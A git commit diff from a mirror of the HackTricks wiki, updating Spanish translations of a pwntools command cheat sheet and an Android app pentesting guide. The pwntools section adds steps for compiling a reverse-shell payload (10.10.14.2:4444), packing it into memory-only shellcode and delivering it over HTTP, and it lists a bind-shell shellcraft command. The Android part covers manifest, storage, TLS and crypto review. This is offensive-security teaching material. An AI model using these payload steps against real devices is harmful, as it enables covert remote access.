mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/reversing-nati
This commit is contained in:
Translator
parent
c9db0e75a0
commit
82ab95822f
@ -353,6 +353,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
|
||||
@ -6,7 +6,7 @@ pip3 install pwntools
|
||||
```
|
||||
## Pwn asm
|
||||
|
||||
Obtener **opcodes** de una línea o archivo.
|
||||
Obtén **opcodes** desde una línea o un archivo.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
@ -14,13 +14,13 @@ pwn asm -i <filepath>
|
||||
**Puede seleccionar:**
|
||||
|
||||
- tipo de salida (raw,hex,string,elf)
|
||||
- contexto del archivo de salida (16,32,64,linux,windows...)
|
||||
- evitar bytes (nuevas líneas, nulo, una lista)
|
||||
- seleccionar codificador depurar shellcode usando gdb ejecutar la salida
|
||||
- contexto de archivo de salida (16,32,64,linux,windows...)
|
||||
- evitar bytes (saltos de línea, null, una lista)
|
||||
- seleccionar encoder, debug, shellcode; usar gdb para ejecutar la salida
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Script checksec
|
||||
Script de Checksec
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
@ -28,17 +28,17 @@ pwn checksec <executable>
|
||||
|
||||
## Pwn cyclic
|
||||
|
||||
Obtén un patrón
|
||||
Obtener un patrón
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Puede seleccionar:**
|
||||
|
||||
- El alfabeto utilizado (caracteres en minúscula por defecto)
|
||||
- El alfabeto usado (caracteres minúsculos por defecto)
|
||||
- Longitud del patrón único (por defecto 4)
|
||||
- contexto (16,32,64,linux,windows...)
|
||||
- Tomar el desplazamiento (-l)
|
||||
- Contexto (16,32,64,linux,windows...)
|
||||
- Tomar el offset (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
@ -54,33 +54,33 @@ pwn debug --process bash
|
||||
- gdbscript para ejecutar
|
||||
- sysrootpath
|
||||
|
||||
## Pwn deshabilitar nx
|
||||
## Pwn disablenx
|
||||
|
||||
Deshabilitar nx de un binario
|
||||
Deshabilitar NX de un binario
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
## Pwn disasm
|
||||
|
||||
Desensamblar opcodes hex
|
||||
Disas hex opcodes
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Puede seleccionar:**
|
||||
|
||||
- contexto (16,32,64,linux,windows...)
|
||||
- context (16,32,64,linux,windows...)
|
||||
- dirección base
|
||||
- color (predeterminado)/sin color
|
||||
- color (por defecto)/sin color
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
Imprimir diferencias entre 2 archivos
|
||||
Imprime las diferencias entre 2 archivos
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
## Pwn hex
|
||||
|
||||
Obtener representación hexadecimal
|
||||
Obtener la representación hexadecimal
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
@ -93,7 +93,7 @@ pwn phd <file>
|
||||
**Puede seleccionar:**
|
||||
|
||||
- Número de bytes a mostrar
|
||||
- Número de bytes por línea resaltar byte
|
||||
- Número de bytes por línea, byte resaltado
|
||||
- Omitir bytes al principio
|
||||
|
||||
## Pwn pwnstrip
|
||||
@ -115,27 +115,27 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
- shellcode y argumentos para el shellcode
|
||||
- Archivo de salida
|
||||
- formato de salida
|
||||
- depurar (adjuntar dbg al shellcode)
|
||||
- antes (trampa de depuración antes del código)
|
||||
- debug (adjuntar dbg al shellcode)
|
||||
- antes (debug trap antes del código)
|
||||
- después
|
||||
- evitar usar opcodes (predeterminado: no nulo y nueva línea)
|
||||
- evitar usar opcodes (por defecto: no null y nueva línea)
|
||||
- Ejecutar el shellcode
|
||||
- Color/sin color
|
||||
- listar syscalls
|
||||
- listar posibles shellcodes
|
||||
- Generar ELF como una biblioteca compartida
|
||||
- listar shellcodes posibles
|
||||
- Generar ELF como biblioteca compartida
|
||||
|
||||
## Plantilla Pwn
|
||||
## Pwn template
|
||||
|
||||
Obtener una plantilla de python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Puede seleccionar:** host, puerto, usuario, contraseña, ruta y silencioso
|
||||
**Puede seleccionar:** host, port, user, pass, path and quiet
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
De hex a cadena
|
||||
De hex a string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
@ -145,4 +145,37 @@ Para actualizar pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
## ELF → raw shellcode packaging (loader_append)
|
||||
|
||||
Pwntools puede convertir un ELF independiente en un único blob de raw shellcode que mapea sus segmentos y transfiere la ejecución al entrypoint original. Esto es ideal para memory‑only loaders (p. ej., Android apps que invocan JNI para ejecutar bytes descargados).
|
||||
|
||||
Flujo típico (ejemplo amd64)
|
||||
|
||||
1) Construir un payload ELF estático e independiente de la posición (se recomienda musl para portabilidad):
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
2) Convertir ELF → shellcode con pwntools:
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||
```
|
||||
3) Entregar sc a un memory loader (p. ej., vía HTTP[S]) y ejecutar in-process.
|
||||
|
||||
Notas
|
||||
- loader_append incrusta el programa ELF original en el shellcode y emite un tiny loader que mmaps los segmentos y salta al entry.
|
||||
- Sé explícito sobre la arquitectura usando context.clear(arch=...). arm64 es común en Android.
|
||||
- Mantén el código de tu payload independiente de la posición y evita asumir nada sobre ASLR/NX del proceso.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Pentesting de Aplicaciones Android
|
||||
# Aplicaciones Android Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Conceptos básicos de Aplicaciones Android
|
||||
## Conceptos básicos de aplicaciones Android
|
||||
|
||||
Se recomienda encarecidamente comenzar leyendo esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**:
|
||||
|
||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta es la herramienta principal que necesitas para conectar un dispositivo Android (emulado o físico).\
|
||||
**ADB** permite controlar dispositivos ya sea por **USB** o **Network** desde un ordenador. Esta utilidad habilita el **copiado** de archivos en ambas direcciones, la **instalación** y **desinstalación** de apps, la **ejecución** de comandos de shell, la **copia de seguridad** de datos, la **lectura** de logs, entre otras funciones.
|
||||
Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\
|
||||
**ADB** permite controlar dispositivos ya sea por **USB** o por **red** desde un ordenador. Esta utilidad habilita la **copia** de archivos en ambas direcciones, la **instalación** y **desinstalación** de aplicaciones, la **ejecución** de comandos de shell, la **copia de seguridad** de datos, la **lectura** de registros, entre otras funciones.
|
||||
|
||||
Consulta la siguiente lista de [**ADB Commands**](adb-commands.md) para aprender a usar adb.
|
||||
Consulta la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb.
|
||||
|
||||
## Smali
|
||||
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizá contraseñas u flags bien ofuscadas). Entonces, puede ser interesante descompilar el apk, modificar el código y recompilarlo.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Esto puede ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Por tanto, **ten siempre presente esta posibilidad**.
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (por ejemplo contraseñas bien ofuscadas o flags). Entonces, puede ser útil descompilar el apk, modificar el código y recompilarlo.\
|
||||
[**En este tutorial** puedes **aprender cómo descompilar un APK, modificar código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto puede ser muy útil como **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **mantén siempre en mente esta posibilidad**.
|
||||
|
||||
## Otros trucos interesantes
|
||||
|
||||
@ -29,8 +29,8 @@ A veces es interesante **modificar el código de la aplicación** para acceder a
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Descargar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extraer APK del dispositivo:
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Combina todos los splits y base apks con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Fusiona todos los splits y los apks base con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Estudios de caso y vulnerabilidades
|
||||
## Estudios de caso & Vulnerabilidades
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -63,37 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Análisis estático
|
||||
|
||||
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
Primero, para analizar un APK deberías **echar un vistazo al código Java** usando un decompiler.\
|
||||
Por favor, [**lee aquí para encontrar información sobre los diferentes decompilers disponibles**](apk-decompilers.md).
|
||||
|
||||
### Buscando información interesante
|
||||
|
||||
Con solo revisar las **strings** del APK puedes buscar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o authentication backdoors (hardcoded admin credentials to the app).
|
||||
Con solo mirar las **strings** del APK puedes buscar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o backdoors de autenticación (hardcoded admin credentials en la app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Presta especial atención a las **firebase URLs** y comprueba si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Presta especial atención a las **Firebase URLs** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
|
||||
|
||||
The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it.
|
||||
El **examen de los archivos _Manifest.xml_ y **_strings.xml_** de una aplicación puede revelar potenciales vulnerabilidades de seguridad**. Estos archivos pueden ser accedidos usando decompilers o renombrando la extensión del APK a .zip y descomprimiéndolo.
|
||||
|
||||
**Vulnerabilities** identified from the **Manifest.xml** include:
|
||||
**Vulnerabilidades** identificadas en el **Manifest.xml** incluyen:
|
||||
|
||||
- **Debuggable Applications**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device.
|
||||
- **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled.
|
||||
- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains.
|
||||
- **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components.
|
||||
- **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized.
|
||||
- **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities.
|
||||
- **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons.
|
||||
- **Aplicaciones con debug habilitado**: Las aplicaciones marcadas como debuggable (`debuggable="true"`) en el _Manifest.xml_ suponen un riesgo ya que permiten conexiones que pueden llevar a explotación. Para entender mejor cómo explotar aplicaciones debuggable, consulta un tutorial sobre cómo encontrar y explotar aplicaciones debuggable en un dispositivo.
|
||||
- **Backup Settings**: El atributo `android:allowBackup="false"` debería establecerse explícitamente para aplicaciones que manejan información sensible para prevenir backups no autorizados vía adb, especialmente cuando usb debugging está habilitado.
|
||||
- **Network Security**: Configuraciones personalizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como certificate pins y ajustes de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
|
||||
- **Exported Activities and Services**: Identificar activities y services exportados en el manifest puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante pruebas dinámicas puede revelar cómo explotar estos componentes.
|
||||
- **Content Providers and FileProviders**: Content providers expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de FileProviders también debe ser examinada.
|
||||
- **Broadcast Receivers and URL Schemes**: Estos componentes podrían aprovecharse para la explotación, prestando especial atención a cómo se gestionan los URL schemes para vulnerabilidades de input.
|
||||
- **SDK Versions**: Los atributos `minSdkVersion`, `targetSDKVersion`, y `maxSdkVersion` indican las versiones de Android soportadas, subrayando la importancia de no soportar versiones antiguas y vulnerables de Android por razones de seguridad.
|
||||
|
||||
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
|
||||
En el archivo **strings.xml**, se pueden descubrir información sensible como API keys, custom schemas y otras notas del desarrollador, lo que subraya la necesidad de revisar cuidadosamente estos recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\
|
||||
In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**.
|
||||
**Tapjacking** es un ataque donde una **malicious application** se lanza y **se posiciona encima de una victim application**. Una vez que oscurece visiblemente la app víctima, su interfaz está diseñada para engañar al usuario para que interactúe con ella, mientras pasa la interacción a la victim app.\
|
||||
En efecto, está **cegando al usuario para que no sepa que en realidad está realizando acciones en la app víctima**.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -104,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
An **activity** with the **`launchMode`** set to **`singleTask` without any `taskAffinity`** defined is vulnerable to task Hijacking. This means, that an **application** can be installed and if launched before the real application it could **hijack the task of the real application** (so the user will be interacting with the **malicious application thinking he is using the real one**).
|
||||
Una **activity** con el **`launchMode`** establecido en **`singleTask` sin ningún `taskAffinity`** definido es vulnerable a Task Hijacking. Esto significa que una **application** puede ser instalada y, si se lanza antes que la aplicación real, podría **hijackear la task de la aplicación real** (por lo que el usuario estará interactuando con la **malicious application pensando que está usando la real**).
|
||||
|
||||
More info in:
|
||||
|
||||
@ -117,69 +117,69 @@ android-task-hijacking.md
|
||||
|
||||
**Almacenamiento interno**
|
||||
|
||||
En Android, los archivos **almacenados** en **internal** storage están **diseñados** para ser **accesibles** exclusivamente por la **aplicación** que los **creó**. Esta medida de seguridad es **impuesta** por el sistema operativo Android y suele ser adecuada para las necesidades de seguridad de la mayoría de aplicaciones. Sin embargo, los desarrolladores a veces utilizan modos como `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` para **permitir** que los archivos sean **compartidos** entre diferentes aplicaciones. Aun así, estos modos **no restringen el acceso** a estos archivos por otras aplicaciones, incluidas potencialmente maliciosas.
|
||||
En Android, los archivos **almacenados** en el almacenamiento **interno** están **diseñados** para ser **accesibles** exclusivamente por la **app** que los **creó**. Esta medida de seguridad es **impuesta** por el sistema operativo Android y generalmente es adecuada para las necesidades de seguridad de la mayoría de aplicaciones. Sin embargo, los desarrolladores a veces utilizan modos como `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` para **permitir** que archivos sean **compartidos** entre diferentes aplicaciones. Aun así, estos modos **no restringen el acceso** a esos archivos por otras aplicaciones, incluidas potencialmente maliciosas.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Asegúrate** de que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **examinado cuidadosamente**. Estos modos **pueden exponer potencialmente** archivos a **accesos no deseados o no autorizados**.
|
||||
- **Asegúrate** de que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **cuidadosamente examinado**. Estos modos **pueden exponer** archivos a **accesos no intencionados o no autorizados**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifica** los **permisos** establecidos en los archivos creados por la app. Específicamente, **comprueba** si algún archivo está **configurado como readable o writable worldwide**. Esto puede suponer un riesgo de seguridad significativo, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** estos archivos.
|
||||
- **Verifica** los **permisos** establecidos en los archivos creados por la app. Específicamente, **comprueba** si algún archivo está **configurado como readable o writable worldwide**. Esto puede suponer un riesgo significativo de seguridad, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** estos archivos.
|
||||
|
||||
**Almacenamiento externo**
|
||||
|
||||
Al tratar con archivos en **external storage**, como tarjetas SD, se deben tomar ciertas precauciones:
|
||||
Al tratar con archivos en **almacenamiento externo**, como SD Cards, se deben tomar ciertas precauciones:
|
||||
|
||||
1. **Accesibilidad**:
|
||||
- Los archivos en external storage son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos.
|
||||
- Los archivos en almacenamiento externo son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos.
|
||||
2. **Preocupaciones de seguridad**:
|
||||
- Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en external storage.
|
||||
- El almacenamiento externo puede ser retirado o accedido por cualquier aplicación, lo que lo hace menos seguro.
|
||||
3. **Manejo de datos desde external storage**:
|
||||
- Siempre **realiza validación de entrada** sobre los datos recuperados desde external storage. Esto es crucial porque los datos provienen de una fuente no confiable.
|
||||
- Desaconsejado almacenar ejecutables o archivos .class en external storage para cargarlos dinámicamente.
|
||||
- Si tu aplicación debe recuperar archivos ejecutables desde external storage, asegúrate de que estos archivos estén **firmados y verificados criptográficamente** antes de cargarlos dinámicamente. Este paso es vital para mantener la integridad de seguridad de tu aplicación.
|
||||
- Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en almacenamiento externo.
|
||||
- El almacenamiento externo puede ser removido o accedido por cualquier aplicación, lo que lo hace menos seguro.
|
||||
3. **Manejo de datos desde almacenamiento externo**:
|
||||
- Siempre **realiza validación de input** sobre los datos recuperados del almacenamiento externo. Esto es crucial porque los datos provienen de una fuente no confiable.
|
||||
- No se recomienda almacenar ejecutables o class files en almacenamiento externo para carga dinámica.
|
||||
- Si tu aplicación debe recuperar archivos ejecutables desde el almacenamiento externo, asegúrate de que estos archivos estén **firmados y verificados criptográficamente** antes de cargarlos dinámicamente. Este paso es vital para mantener la integridad de seguridad de tu aplicación.
|
||||
|
||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
El almacenamiento externo puede ser **accedido** en `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
|
||||
> A partir de Android 4.4 (**API 17**), la SD card tiene una estructura de directorios que **limita el acceso de una app al directorio que es específicamente para esa app**. Esto evita que una application maliciosa obtenga acceso de lectura o escritura a los archivos de otra app.
|
||||
|
||||
**Datos sensibles almacenados en texto claro**
|
||||
|
||||
- **Shared preferences**: Android permite a cada aplicación guardar fácilmente archivos xml en la ruta `/data/data/<packagename>/shared_prefs/` y a veces es posible encontrar información sensible en clear-text en esa carpeta.
|
||||
- **Databases**: Android permite a cada aplicación guardar fácilmente bases de datos sqlite en la ruta `/data/data/<packagename>/databases/` y a veces es posible encontrar información sensible en clear-text en esa carpeta.
|
||||
- **Shared preferences**: Android permite a cada application guardar fácilmente archivos xml en la ruta `/data/data/<packagename>/shared_prefs/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
- **Databases**: Android permite a cada application guardar fácilmente bases de datos sqlite en la ruta `/data/data/<packagename>/databases/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
|
||||
### Broken TLS
|
||||
### TLS roto
|
||||
|
||||
**Accept All Certificates**
|
||||
|
||||
For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one:
|
||||
Por alguna razón, a veces los desarrolladores aceptan todos los certificados incluso si, por ejemplo, el hostname no coincide, con líneas de código como la siguiente:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar Burp CA dentro del dispositivo. También, puedes generar con Burp un certificado para un hostname diferente y usarlo.
|
||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
||||
|
||||
### Criptografía débil
|
||||
### Criptografía rota
|
||||
|
||||
**Procesos deficientes de gestión de claves**
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave hardcoded/predictable en el código. Esto no debería hacerse ya que algo de reversing podría permitir a los atacantes extraer la información confidencial.
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una key hardcoded/predictable en el código. Esto no debería hacerse, ya que algo de reversing podría permitir a los attackers extraer la información confidencial.
|
||||
|
||||
**Uso de algoritmos inseguros y/o obsoletos**
|
||||
|
||||
Los desarrolladores no deberían usar **deprecated algorithms** para realizar authorisation **checks**, **store** o **send** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas por ejemplo, deben emplearse hashes resistentes a brute-force con salt.
|
||||
Los desarrolladores no deberían usar **deprecated algorithms** para realizar **authorization checks**, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar passwords por ejemplo, deberían usarse hashes resistentes a brute-force con salt.
|
||||
|
||||
### Otras comprobaciones
|
||||
|
||||
- Se recomienda **obfuscate the APK** para dificultar el trabajo de reverse engineer a los atacantes.
|
||||
- Si la app es sensible (like bank apps), debería realizar sus **own checks to see if the mobile is rooted** y actuar en consecuencia.
|
||||
- Si la app es sensible (like bank apps), debería comprobar si se está usando un **emulator**.
|
||||
- Si la app es sensible (like bank apps), debería **check it's own integrity before executing** para verificar si fue modificada.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) para comprobar qué compiler/packer/obfuscator se usó para construir el APK
|
||||
- Se recomienda **ofuscar el APK** para dificultar el trabajo de reverse engineer a los atacantes.
|
||||
- Si la app es sensible (como apps bancarias), debería realizar sus **propias comprobaciones para ver si el móvil está rooted** y actuar en consecuencia.
|
||||
- Si la app es sensible (como apps bancarias), debería comprobar si se está usando un **emulator**.
|
||||
- Si la app es sensible (como apps bancarias), debería **comprobar su propia integridad antes de ejecutarse** para verificar si fue modificada.
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de aplicaciones React:
|
||||
Read the following page to learn how to easily access javascript code of React applications:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -188,7 +188,7 @@ react-native-application.md
|
||||
|
||||
### Xamarin Applications
|
||||
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código C# de aplicaciones Xamarin:
|
||||
Read the following page to learn how to easily access C# code of a xamarin applications:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -197,17 +197,17 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código C# d
|
||||
|
||||
### Superpacked Applications
|
||||
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. El blog habla sobre la posibilidad de crear una app que descomprima este tipo de apps... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos desde el sistema de archivos.**
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
|
||||
### Automated Static Code Analysis
|
||||
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** analizando el **código** de la aplicación. Esta herramienta contiene una serie de **known sources** (que indican a la herramienta los **lugares** donde la **entrada** está **controlada por el usuario**), **sinks** (que indican a la herramienta **lugares peligrosos** donde una entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **sources-sinks** que señalan una vulnerabilidad.
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** escaneando el **código** de la aplicación. Esta herramienta contiene una serie de **known sources** (que indican al tool los **lugares** donde la **entrada** está **controlada por el usuario**), **sinks** (que indican al tool los **lugares peligrosos** donde una entrada maliciosa podría causar daños) y **rules**. Estas reglas indican la **combinación** de **sources-sinks** que señalan una vulnerabilidad.
|
||||
|
||||
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
Una aplicación puede contener secrets (API keys, passwords, hidden urls, subdomains...) en su interior que podrías descubrir. Puedes usar una herramienta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
